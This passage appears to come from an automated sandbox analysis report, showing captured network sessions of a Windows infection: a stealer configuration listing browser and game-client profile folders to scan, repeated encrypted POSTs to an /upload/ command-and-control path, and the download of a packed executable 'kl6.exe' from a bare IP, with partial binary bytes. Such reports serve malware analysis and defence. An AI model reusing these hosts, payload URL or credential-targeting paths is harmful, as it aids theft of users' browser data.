6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 53 74 61 72 5c 37 53 74 61 72 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 65 Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>false</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Iridium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\7Star\7Star\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Ce

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49734	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:29.002110958 CEST	9530	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 287 Host: atvcampingtrips.com
Aug 21, 2021 21:46:29.002130032 CEST	9531	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 27 5d ce e4 Data Ascii: 9n#f#txyd\|4.)r"?$`7C[zqNA -[k,vu']i"Kern.{?>m5Tu!DM/-r\8<+ML!7nTph6;913AuYYgKf!S\|
Aug 21, 2021 21:46:29.532701969 CEST	9531	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:29 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49735	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:29.759198904 CEST	9532	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 312 Host: atvcampingtrips.com
Aug 21, 2021 21:46:29.759212971 CEST	9533	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 3a 43 e8 fb Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu:CaVgN`t-93!<\76U!MT9sYM3l_KTV#[f$F\:wWYl5Uw~<NWA+
Aug 21, 2021 21:46:30.296260118 CEST	9533	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49736	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:30.543687105 CEST	9534	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 159 Host: atvcampingtrips.com
Aug 21, 2021 21:46:30.543706894 CEST	9535	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 5c 19 a5 e9 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vu\0[ol0O[3d4mO-p)II'LBLSP;<]
Aug 21, 2021 21:46:31.075297117 CEST	9535	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49737	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:31.294975996 CEST	9536	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: atvcampingtrips.com
Aug 21, 2021 21:46:31.295001030 CEST	9537	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 70 5b ff 85 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vup[Lb2rv<f6;^2/GA/DiQ8T$$P%oK>J(Z'(C#R<o{@_f]#1L:k
Aug 21, 2021 21:46:31.828775883 CEST	9537	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 52 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2d 5e 24 17 a7 60 44 aa af 15 bd cc ba e5 20 98 21 d2 b7 2a 57 14 8b 8f 9c 81 6f d8 68 5b 16 87 07 Data Ascii: #\-^$`D !*Woh[

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	49738	45.138.172.28	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:31.883970976 CEST	9538	OUT	GET /blog/images/kl6.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 45.138.172.28
Aug 21, 2021 21:46:31.910801888 CEST	9539	IN	HTTP/1.1 200 OK Date: Sat, 21 Aug 2021 19:46:31 GMT Server: Apache/2.4.37 (centos) Last-Modified: Fri, 20 Aug 2021 17:40:03 GMT ETag: "3917b8-5ca0128542f95" Accept-Ranges: bytes Content-Length: 3741624 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 20 e2 00 b9 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 d0 02 00 00 24 03 00 00 00 00 00 38 c9 51 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 86 00 00 04 00 00 9c 6f 39 00 03 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 60 06 00 50 00 00 00 00 00 83 00 cf 0f 03 00 00 00 00 00 00 00 00 00 b0 0a 39 00 08 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 e0 02 00 00 20 00 00 00 70 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 2a 10 00 00 00 00 03 00 00 08 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 4c 4f 54 49 32 38 30 dc 0f 03 00 00 20 03 00 00 10 03 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 20 20 20 20 20 20 20 20 0c 00 00 00 00 40 06 00 00 02 00 00 00 8c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00 20 00 00 00 60 06 00 00 02 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 68 65 6d 69 64 61 00 00 4b 00 00 80 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 48 31 00 00 80 51 00 00 48 31 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 42 4c 4f 54 49 32 38 30 d0 08 00 00 00 e0 82 00 00 0a 00 00 00 d8 35 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 cf 0f 03 00 00 00 83 00 00 10 03 00 00 e2 35 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 73 99 88 bb 3b f3 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL $8Q @ o9@:`P9 p ` *t@BLOTI280 \|`` @@@.idata `@.themidaK`.bootH1QH1``BLOTI2805 `.rsrc5@@;s;
Aug 21, 2021 21:46:31.910850048 CEST	9541	IN	Data Raw: 5e 74 4e b0 45 97 cd 1b 87 9e 1a dc 8d 6e 6a cc 14 71 40 b7 49 32 67 36 b0 75 3b 0a 0d 86 6a b5 8b 8a b5 87 0a 6b 4b d6 87 91 50 1e ed 71 4c b5 a4 97 b8 d2 89 84 5f e5 9c b0 60 9e 02 50 53 a9 8c 87 f7 1e 8d 30 78 d0 05 77 57 d3 ea 96 6a 1a 8f 8c Data Ascii: ^tNEnjq@I2g6u;jkKPqL_`PS0xwWjE=:#S.l_jtaEqF`[S=8CiG7sZ}8yU8=o1Y@$BMCbv7i&&rY++M0597sCYB55wK
Aug 21, 2021 21:46:31.910885096 CEST	9542	IN	Data Raw: ba dd b9 90 41 64 56 82 7b 77 f5 a5 64 d0 6e c7 30 d5 91 15 d8 96 56 83 78 4b 04 72 64 f3 88 1d 5d e6 bb a4 1a 8d a2 0c 4b b1 ad 33 c5 b3 c5 33 38 13 c0 f5 e9 1c b4 16 46 d1 a5 30 e2 b9 9a 83 50 44 58 9d 4e ff b0 71 5c b0 6e 83 f3 34 45 27 44 ef Data Ascii: AdV{wdn0VxKrd]K338F0PDXNq\n4E'DTZ,TTGZdFg9 !wP^j04G8xxGK>[*T\C7ZW[[Vd7NKW$kuW@kWl=\|
Aug 21, 2021 21:46:31.910904884 CEST	9543	IN	Data Raw: f4 89 98 ff 43 89 de b3 8d 7b ce ee b4 9f cf c6 6b 61 70 7e 9d d8 52 18 04 ac 0f 09 35 95 8f 41 cd 33 76 ef 2a b1 72 4b 91 12 55 75 9e bb 24 a0 12 01 4b 1c c9 e3 22 64 d9 29 83 09 13 8f ca b6 1c f5 96 73 bd d3 52 ff c8 c8 94 f4 1d a5 33 00 33 07 Data Ascii: C{kap~R5A3vrKUu$K"d)sR33Lltd_' 3'tpjAvA3I(G~>fxkTEM`4kv]Lpgs0MvA}Axe7MK`T?G3vwx-
Aug 21, 2021 21:46:31.910929918 CEST	9545	IN	Data Raw: 80 26 d2 70 fa f3 5e 0f 1e e3 ad f5 68 ed 90 8d cd 69 3a 7c c9 0c 94 81 41 b3 f7 4b 98 7c 02 13 45 03 92 fc 69 51 2e 7f a6 96 16 64 88 6d 65 0c db 22 27 70 8c b3 96 e3 3f 92 b5 38 36 54 ef 8a 7e b4 bd 92 73 aa 3c 16 a5 1d a7 52 01 cb 9a 96 50 b7 Data Ascii: &p^hi:\|AK\|EiQ.dme"'p?86T~s<RP)1*~8&CmC_!=dJ&3$NC}s\=Q_3>~X~#pxzQt_7i)!iDXj>\Qva
Aug 21, 2021 21:46:31.910952091 CEST	9546	IN	Data Raw: 99 c5 59 81 a1 7c b6 57 4f 63 cb 47 5c 30 ae 73 e3 ed 2d 44 51 7f 49 1a 0f af 42 b6 bd 1a d8 bd 50 93 c4 fc 12 0f 9f 1c 10 ce 26 35 19 01 af d4 bd 82 f8 6f b1 35 a3 d0 9b 64 0b c7 ab 48 cb b7 f4 ee be f0 5f a1 d0 d4 a7 02 b3 e3 af 24 5a 6f 93 c8 Data Ascii: Y\|WOcG\0s-DQIBP&5o5dH_$Zoa}Mlossbu2?W]6@E8QKIsc#`g~M@:!RtK=5}Ytosg!%EBV]Y9O"J7S]syfy w%
Aug 21, 2021 21:46:31.910974979 CEST	9547	IN	Data Raw: af 41 13 e4 3f c3 8b f0 7e b1 f1 70 5c e5 95 39 b6 ae db 9f 44 cf 2c 74 d0 b4 35 84 b1 aa 23 3a db 70 8a 2f f8 af 15 74 72 66 ad 36 e9 09 f4 e2 5e 3e a4 6d a2 85 ee 0b 8a f4 ce 9f d2 62 c8 bd 97 45 4f d5 c4 85 50 23 39 d1 86 9f 61 8f 48 6d 6f a2 Data Ascii: A?~p\9D,t5#:p/trf6^>mbEOP#9aHmoF_?zZqOO*wOJwzX"\|3J\|l%[nyMZ[HBO]=Lur#QzbMpBh?f)irhYeT2KJR=4[I$S0s
Aug 21, 2021 21:46:31.910995007 CEST	9549	IN	Data Raw: 16 d4 23 d9 d1 08 da 45 ea 59 ff 4a e4 fd b2 d4 20 39 a1 4d 02 73 a5 96 e5 5c 5a d6 75 87 26 d4 9a af 27 e4 ca 70 b4 cf bf 19 5d 42 93 67 19 1e e3 d7 ea 04 a2 a7 ca b2 e2 7e 67 d7 72 db 66 c8 9a b9 ea d1 b0 8b 12 c3 90 94 5a 37 06 ba 83 41 1c 90 Data Ascii: #EYJ 9Ms\Zu&'p]Bg~grfZ7A'[@xhZQ/FTAe`X>`rxyy`>+LE{z3C8Y&I\]cZ66trYb;2;#C<Ek$dje;a#p)PavuMiMZ
Aug 21, 2021 21:46:31.911012888 CEST	9550	IN	Data Raw: 1c c6 a9 bd 72 c6 0e be 48 cd a1 ae 8e 33 a3 fb 8f 8d a4 8f 90 e4 cb 0b 5c ee dc 33 45 3b de 5d 46 cf de a7 46 34 e0 7a 5c b8 c8 c6 02 ba 15 c7 2c bb a9 c8 76 bb 0e c9 49 cd 96 ae 99 73 98 fb 9a 9d 99 8f 9b e8 83 8f 9c e7 9a f4 89 ba a7 81 7c fb Data Ascii: rH3\3E;]FF4z\,vIs\|K8Q/.6\|jGw!BO& Yd`F[1,vvB20Lt.3}iPWQ+N!@$K\|(xp)Udq\"35ec`OP
Aug 21, 2021 21:46:31.911031961 CEST	9551	IN	Data Raw: 1b 29 17 39 aa 7b 9c 53 65 4c 6a 5d 6e 3d ec 08 78 c2 a7 6b cf e8 f0 fb d8 71 0e 77 67 3e df 90 53 e3 2e 8e 23 ba 7e bb 52 3b af 70 7d 6c 76 f7 54 5e 99 93 b1 30 4b 0f 4d e7 05 3b 1a 3e 97 4f 08 2b c6 d6 de 3f 76 24 67 2c 73 d6 c1 2f d1 2f ca 02 Data Ascii: )9{SeLj]n=xkqwg>S.#~R;p}lvT^0KM;>O+?v$g,s//uiH{`lTqOJ}wj=Sb@Y"P!EKTtiq\|6u`b>G5_2Zb~Dv;_f3Q>fh^?v]P
Aug 21, 2021 21:46:31.937757015 CEST	9553	IN	Data Raw: dc cd 8c 75 11 5a 97 d2 be 2f bf c1 ce 3c ae 2c 48 5e ab 86 c0 14 23 f8 14 0e 1d 1d c8 87 f0 4e 73 0c 01 b6 55 c6 c0 ee b9 64 a5 78 1b 49 2d 7c d6 1a d5 3d 03 e9 8e ef 1d 35 d9 81 a4 a7 27 7d b3 fc 15 c1 7f a2 a8 15 00 bf 8c 37 6e 7d 7d 6f ed 01 Data Ascii: uZ/<,H^#NsUdxI-\|=5'}7n}}ot<Gkm*U('sDR/~8)oWC)WTJgJzCGAtse4OwKdsF:}Qm+f+\;,Vq%%hKrGd`HgLCz

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	49739	148.101.76.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:46:37.160623074 CEST	13418	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: atvcampingtrips.com
Aug 21, 2021 21:46:37.160646915 CEST	13418	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2c 5b 00 6b 2c 90 f4 76 0b 75 4e 15 aa f6 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA ,[k,vuNE0nrOX_ !ULPV@S5D0JVEY$K!.B=@3V`\|iF[P<Z(DwCycJSiZ_+
Aug 21, 2021 21:46:37.694118977 CEST	13419	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:46:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 